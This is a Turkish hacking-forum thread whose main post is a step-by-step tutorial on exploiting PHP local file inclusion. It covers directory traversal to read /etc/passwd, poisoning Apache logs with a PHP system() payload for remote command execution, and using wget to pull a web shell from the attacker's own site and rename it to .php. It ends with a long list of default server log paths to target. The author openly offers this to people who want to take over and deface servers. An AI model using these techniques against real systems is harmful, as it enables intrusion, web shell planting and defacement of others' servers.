13 yaşında başladığım işe sanırım 22 sinde gibi devam etmeyi planlıyorum. umarım zamanım olur. belki de okurken.. gerçekten güzel iş. Im Boned, All Boned.

Bazıları sadece konuşur bazıları ise hayalleri ile dünya'ya yn verir.. Mycity

paylaşım için teşekkürler bilmeyen arkadaşların işine yarayacaktır. demekki neymiş "include " diye açık açık değil azda olsa nlem alarak "switch " diye çağırmak gerekiyormuş... =)

hekingçi kaldı mı ya?

bi ara bakaruk Bazıları zgürlüğü sadece kendileri gibi düşünenlere reva grüyor...

LFI dediğimiz güvenlik açığının türkçesi yerel dosya dahil etmek anlamına gelir... Yani bir sunucu düşünün ve o sunucuda bulunan dosyaları sorgulayarak yaptığımız attack şeklidir. Ve şyle devam etmek istiyorum. Biliyorsunuz ki Türkiye'de pek açıklamasını bulamadığınız bir konudur ve tüm sitelerde şyle olarak geçer "pek etkili olmasada..." , aslında buna ben katılmıyorum. LFI atak yntemi rfi den daha tehlikelidir. neden derseniz 3 şekle dnüşebiliyor. LFI - RCE - RFI olarak kullanabiliyorsunuz... Evet, bu bilgiyi de verdikten sonra isterseniz lfi nin yapısını inceleyelim...1. LFI nasıl oluşur?ncelikle bir php sayfası üzerinden olayın mantığını anlatmaya çalışayım. PHP- Kodu:#Dosya adı : test. php<?php include ;?>gibi bir kod yazdık. Normalde webmasterlar bunu kolaylık olsun diye kullanırlar. Hem daha az kod yazar, hemde daha az zaman kaybetmiş olur... Sayfa normalde şu şekilde çalışır. include ile bir dosya dahil edilir ve o dosya da sayfada gelen GET değişkeninden alır sayfa adını... rneğin browserimize :http://localhost/test. php?sayfa=haberdediğimizde $_GET değeri haber olacaktır. ve yukarıdaki koda dikkat ederseniz. php ile getirmiş devamına yani gelen değişkenin içerisindeki veriyi alırsak kısmen şu şekilde oluyorPHP- Kodu:<?php#Dosya adı : test. phpinclude ;?>Olayı anladıysanız eğer browserimizden gelen isteği sayfamıza eklemeye çalışıyor. tabi bu illa include olacak değil. değişik yollar da olabilir. rnek vermek gerekirse ;include ;include_once ;require ;require_once ;file ;file_get_contents ;gibi fonksiyonlarla beraber de çağırılabilir. Evet. bu rneklere dayanarak şunları syleyebiliriz o halde; Local file inclusion metodu aslında browserden değişken alarak ve alınan dosyayı sayfaya dahil eden sayfalarda meydana gelir. ve browserimizde istediğimiz sayfamızı açtık. Sayfa da hiç bir sorunumuz yok. Ama sizce sayfa bu kadar masum mu?Şimdi rneklerle nasıl hata verdirip nasıl kullanacağımız konusuna baqalım... Hata verdirme :Evet en son hatırlarsanız browserimizde http://localhost/test. php?sayfa=haber yazmıştık ve haber. php sayfamızı çağırmıştık. Şimdi browserde biraz oynama yaparak hata verdirmeye çalışalım... rnek 1 :http://localhost/test. php?sayfa=/etc/passwdyazdığımız zaman karşımıza hata vermiş bir sayfa çıkacaktır... Warning: main : failed to open stream: No such file or directory in /usr/www/www.coderx.org/www/test. php on line 5Warning: main : Failed opening '/etc/passwd' for inclusion in /usr/www/www.coderx.org/www/test. php on line 6Evet hata verdirmeyi başardık Şimdi yukarıdaki hatayı açıklayalım. PHP bize ne gibi bilgiler vermeye çalışmış ve bu bilgileri ne yapabiliriz ne işimize yarar?Yukarıda ilk dikkat edeceğimiz failed to open stream No such file or directory oluyor... Bu bize yle bir sayfanın o dizinde bulunmadığını gsterir. Hemen biraz daha ileriyi okuyoruz web sitenin sunucudaki adresini bize veriyor. Bunu bir yere not edelim... Ve bakıyoruz ki bizim istediğimiz /etc/passwd sayfası bu dizinde değil. Nerdeki ajaba? Linux sunucular da ana dizin dediğimiz dizinde bulunurlar. Peki buraya nasıl erişebilirim? Az nce not edin dediğim dosya yolunu kullanarak ulaşabiliriz. Ama bundan nce kaç dizin olduğunu saymamız lazım. Dizinleri parçalayarak yazalım ki kaç dizin yazacağımızı hesaplayalım işaretinden itibaren parçalayınServer dizini : /usr/www/www.coderx.org/www/test. php/usr ( 1. ci dizin )/www ( 2. ci dizin )/www.coderx.org ( 3. cü dizin )/www ( 4. cü dizin )/test. php istediğimiz sayfa = /etc/passwdEvet dizinlerimizi parçaladık ve bakıyoruz ki 4 dizin var. Hemen istediğimiz sayfa ile dizin sayımızı birleştiriyoruz.../../../../etc/passwdburadaki her bir../ işareti bir üst dizin anlamına geliyor. 4 tane üst dizinin üstündeki /etc/passwd dosyasını istemiş olduk. Ve browserimizdeki adresi şyle değiştirerekhttp://localhost/test. php?sayfa=../../../../etc/passwdGelen veriye baktığımızda# $FreeBSD$ #root: :0:0:RMx &:/root:/usr/local/bin/bash.. ve devamıEvet bu şekilde passwd dosyasını okuyabildik... İşte şu ana kadar yaptıklarımızı klasik türk sitelerinde bulunanlar kadardı biz işi daha ileriye gtürüyoruz. LFI üzerinden RCE metodunu yaparak işlem yapabilir doyumsuz olan arkadaşlarımızın işini grmüyorsa RFI metodunu da ekleyebilir. Şimdi işin bu kısmına kadar anladıysak işimiz bundan sonra biraz daha zorlaşacaktır. File inclusion metotları genelde bir linux sever için basittir. Ama linux ve linux komutlarına aşina değilseniz emin olun bir tarafınızdan terler akacaktırŞimdi /etc/passwd dizinini buldum? ne işime yarayacak? Aslında bu konuya girmek istemiyorum bile her türlü kullanabilirsn. Onu da araştır biraz makaleyi elimden geldiği kadar kısa ve z tutmak istiyorum. Normalde büyük ve bayağı teferruatlı bir konudur. Şimdi de biraz konumuzun dışında olan bir şeyden bahsetmek istiyorum. Bilirsiniz web sitelerin çalışma mantığını. Siz web adresini yazarak girersiniz web sitede içinde olan sayfa veya veritabanı bilgilerini size sunar. Peki eğer istediğim şey o sayfada veya saayfalarda veya sunucu da yoksa? işte o zaman sunucu tarafından ( apache veya internet information services )tarafından hatalar bir hata sayfasına yazdırılırlar. Eğer ki root admin sunucunun kurulumuyla beraber gelen dosya yollarını değiştirmediyse istediğiniz sayfa veya veri hata olarak yazdırılırlar. Peki RMx bu benim ne işime yarayacak?Aslında bir çok şeye, Local file include metodnun can alıcı noktası da burada zaten... Eğer ben o web siteye girip de sayfaya rnek olarak şyle bir istek attığımda da verileri yazdırmaz mı?http://localhost/<?php phpinfo ; ?>BİLGİ :<?php phpinfo ; ?> ne demektir?php nin information fonksiyonudur. Bize server ve serverdaki php ve birkaç kütüphane hakkında bilgi verir... Dissabled & enabled functions 'lara bakarak ne kullanacağımızı gre biliriz... Elbetteki yazdırır... Ama bunu yazdığına gre ben burya istediğim şeyi yazdırarak komut çalıştırabilirim O halde istediğim sayfayı değiştiriyorum ve şyle yapıyorum... http://localhost/<?php system ; ?>yada şyle bir veri gndereyim ls -la ve diğer shell komutlarımı kullanmak için GET ile bir istek yapayım. http://localhost/<?php system ; ?>BİLGİ :<?php system ; ?> nedir?php de bulunan system fonksiyonu windows ise ms dos linux ise shell üzerinden komut çalıştırmamıza yarar. $_GET ; ise mgg den gelen bilgi anlamına gelir.. Cümlemizi toparlarsak mggden gelen bilgiyi sistem üzerinde çalıştır demek olur... Bunu yaptığımızda ne olacak? hemen bir hata sayfası404 This page not foundadında bir hata sayfası getirecektir. Bylelikle ne yapmış olduk? Sunucu tarafından kaydedilen hata raporlarına php kodu enjekte etmiş olduk... Peki kodu enjekte ettik nasıl kullanacağım ben bunu?Aslında kullanması da basit. Sadece server tipine gre hangi dosyaya enjecte etmişseniz o dosya üzerinden kullanabilirsinz. Yine bir varsayım yapalım... rnek olarak atak yaptığım web sitenin kayıt yolu bu olsun/apache/logs/access. logbunu kendi sistemimize uyarlıyoruz... ve şyle oluyor... http://localhost/test. php?sayfa=../../../../apache/logs/acces. logbrowsermizden bu adrese girdiğimiz zaman web siteye yapılan istekler rüntülenecektir dolaysıyla bizim kodumuz da orda olacaktır. Şimdi dosyamızı ve nerde olduğunu da bildiğimize gre dosyamızı çalıştırabilirizhttp://localhost/test. php?sayfa=../../../../apache/logs/acces. log&mgg=ls -lapeki şimdi ne yaptık? mgg ile linuxun dosya ve dizin listeleme metodu olan ls -la ile o an klasrdeki dosyaları grmek istedik ve sonucu bize aynen dndürecektir... Bu şekilde istediğiniz şeyi çalıştırabilirsiniz. Ama yukarda da bahsettiğim gibi doyumsuz arkadaşlarımızın da olduğunu syledim. E tabi onlar serverda sadece işlem yapmak istemez serverı kendi kontrolüne de almak ister... Her zaman yapacak birşeyler vardır yle değil miŞimdi LFI atağını RCE ye çevirdiğimize gre RCE atağını da RFI ye çevirelim. Linuxun wget fonksiyonunu kullanarak web siteye dosyamızı çekelim... http://localhost/test. php?sayfa=../../../../apache/logs/acces. log&mgg=wget http://siteniz.com/shell_adresiniz. phpbu şekilde dosyanızı çekebilirsiniz... tabi bazen sorun oluyor işte aksilik Şyle bir senaryo daha üretelim ve işimizi zorlaştıralım wget ile php dosyalarını çekemeyebiliriz o zaman kendi dosya çekeceğimiz siteye. txt uzantısında dosyamızı atıyoruz. Ve şyle birşey yazıyoruz... http://localhost/test. php?sayfa=../../../../apache/logs/acces. log&mgg=wget http://siteniz.com/shell_adresiniz. txtbu şekilde genelde çeker... Ne yapmış olduk txt dosyasını servera yüklemiş olduk. E tabi txt halinde çalışmaz bunun uzantısını değiştirelim... Onu da şyle yapabiliriz... http://localhost/test. php?sayfa=../../../../apache/logs/acces. log&mgg=mv shell_adi. txt shell_adi. phpbu şekilde dosyanın adını değiştirmeden uzantısını değiştirdik. isterseniz adını da değiştirebilirsiniz size kalmış bir olaydır. Bundan sonrasını zaten biliyorsunuz videolu anlatımlarda var serverı rootlayarak tüm sunucuyu deface edebilirsnz vs vs... Dküman ise RMX e aittirKonuyu bitirmeden nce elimde olan Default dosya yollarını da size veriyim. Hiç olmazsa log dosyalarını ararken yorulmazsınız... Sunucu tipine gre verilmiştir...:IRIX:/var/adm/SYSLOG/var/adm/sulog/var/adm/utmp/var/adm/utmpx/var/adm/wtmp/var/adm/wtmpx/var/adm/lastlog/username/usr/spool/lp/log/var/adm/lp/lpd-errs/usr/lib/cron/log/var/adm/loginlog/var/adm/pacct/var/adm/dtmp/var/adm/acct/sum/loginlog/var/adm/X0msgs/var/adm/crash/vmcore/var/adm/crash/unixAIX:/var/adm/pacct/var/adm/wtmp/var/adm/dtmp/var/adm/qacct/var/adm/sulog/var/adm/ras/errlog/var/adm/ras/bootlog/var/adm/cron/log/etc/utmp/etc/security/lastlog/etc/security/failedlogin/usr/spool/mqueue/syslogSunOS:/var/adm/messages/var/adm/aculogs/var/adm/aculog/var/adm/sulog/var/adm/vold. log/var/adm/wtmp/var/adm/wtmpx/var/adm/utmp/var/adm/utmpx/var/adm/log/asppp. log/var/log/syslog/var/log/POPlog/var/log/authlog/var/adm/pacct/var/lp/logs/lpsched/var/lp/logs/lpNet/var/lp/logs/requests/var/cron/log/var/saf/_log/var/saf/port/logLinux:/etc/httpd/logs/error. log/etc/httpd/logs/error_log/etc/httpd/logs/access. log/etc/httpd/logs/access_log/etc/wtmp/etc/utmp/opt/lampp/logs/error_log/opt/lampp/logs/access_log/var/log/lastlog/var/log/telnetd/var/run/utmp/var/log/secure/var/log/wtmp/var/run/utmp/var/log/var/adm/var/apache/log/var/apache/logs/var/apache/logs/access_log/var/apache/logs/error_log/var/log/acct/var/log/apache/access. log/var/log/apache/error. log/var/log/apache-ssl/error. log/var/log/apache-ssl/access. log/var/log/auth. log/var/log/xferlog/var/log/message/var/log/messages/var/log/proftpd/xferlog. legacy/var/log/proftpd. access_log/var/log/proftpd. xferlog/var/log/httpd/error_log/var/log/httpd/access_log/var/log/httpsd/ssl. access_log/var/log/httpsd/ssl_log/var/log/httpsd/ssl. access_log/etc/mail/access/var/log/qmail/var/log/smtpd/var/log/samba/var/log/samba-log.%m/var/lock/samba/root/. Xauthority/var/log/poplog/var/log/news. all/var/log/spooler/var/log/news/var/log/news/news/var/log/news/news. all/var/log/news/news. crit/var/log/news/news. err/var/log/news/news. notice/var/log/news/suck. err/var/log/news/suck. notice/var/log/thttpd_log/var/log/ncftpd/misclog. txt/var/log/ncftpd. errs/var/log/auth/var/log/kern. log/var/log/cron. log/var/log/maillog/var/log/qmail//var/log/httpd//var/log/lighttpd/var/log/boot. log/var/log/mysqld. log/var/log/secure/var/log/utmp/var/log/wtmp/var/log/yum. log/var/spool/tmp/var/spool/errors/var/spool/logs/var/spool/locks/var/www/log/access_log/var/www/log/error_log/var/www/logs/access. log/var/www/logs/error. log/var/www/logs/error_log/var/www/logs/access_log/root/. ksh_history/root/. bash_history/root/. bash_logut/usr/local/apache/log/usr/local/apache/logs/usr/local/apache/logs/access_log/usr/local/apache/logs/error_log/usr/local/apache/logs/access. log/usr/local/apache/logs/error. log/usr/local/etc/httpd/logs/access_log/usr/local/etc/httpd/logs/error_log/usr/local/www/logs/thttpd_logWindowsc:\Program Files\Apache Group\Apache\logs\error. logc:\Program Files\Apache Group\Apache\logs\access. logc:\apache\logs\error. logc:\apache\logs\access. log Tbt Dersimliler Derneği Başkanı :)

güzel paylaşım "

log dir ler sağlam olmuş eyvallah :) konuyla alakalı bir video çekmiştim zamanında izlemek isteyen izlesin adresten. http://selimonder.com/dosya/video/source/rce.html